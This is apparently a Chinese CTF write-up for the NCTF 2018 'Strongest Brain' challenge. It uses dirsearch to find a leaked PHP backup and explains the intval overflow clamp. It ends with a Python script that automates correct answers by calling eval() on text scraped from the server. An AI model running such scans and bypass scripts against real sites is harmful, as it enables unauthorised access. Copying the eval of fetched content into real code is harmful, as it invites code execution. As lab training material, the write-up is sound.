NSS [NCTF 2018]小绿草之最强大脑
题目要求我们输入一个位数>21的正数,带入表达式并且计算结果。
查看源码发现hint,有源码泄露。
拿dirsearch扫一下。扫到了一个备份文件。
python dirsearch.py -u http://node4.anna.nssctf.cn:28805/
访问/index.php.bak
路由之后自动下载了源码。
<?php
if(isset($_SESSION['ans']) && isset($_POST['ans'])){
if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
session_destroy();
echo '
<script language="javascript">
alert("怎么没算对呢?");
window.history.back(-1); </script>';
}
else{
if(intval(time())-$_SESSION['time']<1){
session_destroy();
echo '
<script language="javascript">
alert("你手速太快啦,服务器承受不住!!!");
window.history.back(-1); </script> ';
}
if(intval(time())-$_SESSION['time']>2){
session_destroy();
echo '
<script language="javascript">
alert("你算的太慢了少年!");
window.history.back(-1); </script> ';
}
echo '
<script language="javascript">
alert("tql,算对了!!");
</script> ';
$_SESSION['count']++;
}
}
?>
前端js代码估计验证了我们输入的是不是整数以及是否大于21位
分析一下他的PHP源码:
1、通过POST把我们输入的传参进去。抓包可以发现,大于21位的是input
,答案是ans
。
2、input 的变量经过了 php 的intval
处理
3、每次脚本发起请求的间隔要在 1-2 秒之间
4、算对的次数会累加,但是没说返回flag。
关于上面第2点:在php中,post,get传过来的参数都是string,而intval处理string强制类型转换的时候就不会溢出的,最大只能是最大值。32
位系统:2147483647
64
位系统:9223372036854775807
所以的话无论我们传过去的数值是多少,最后都只会是一个固定值,题目是64位的,所以是9223372036854775807
。
编写的脚本如下:
import requests
import time
url = 'http://node4.anna.nssctf.cn:28805'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
response = res.get(url) #发get包,获取题目
time.sleep(1) # 睡一秒
for i in range(1, 99):
math = ""
resTest = response.text #获取返回包的内容
for j in range(0, len(resTest)): #遍历获取网页数学表达式,这里建议用正则表达式(re)
if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
math = math + resTest[j]
# strip() 方法用于移除字符串头尾指定的字符(默认为空格或换行符)或字符序列
math = math.strip('=') #去掉末尾等号
math = math.strip('+') # 去掉开头加号
num = eval(math) #计算数学表达式的值
num += 9223372036854775807
myData = { #构造的POST数据
'ans': num,
'input': "99999999999999999999999999999999999999999999999999999999999999999999999"
}
response = res.post(url, data=myData) #发post包,提交答案,并且获取返回包,获取下一个计算式
print(response.text) #打印当前返回包的内容
time.sleep(1) # 睡一秒
if "ctf{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break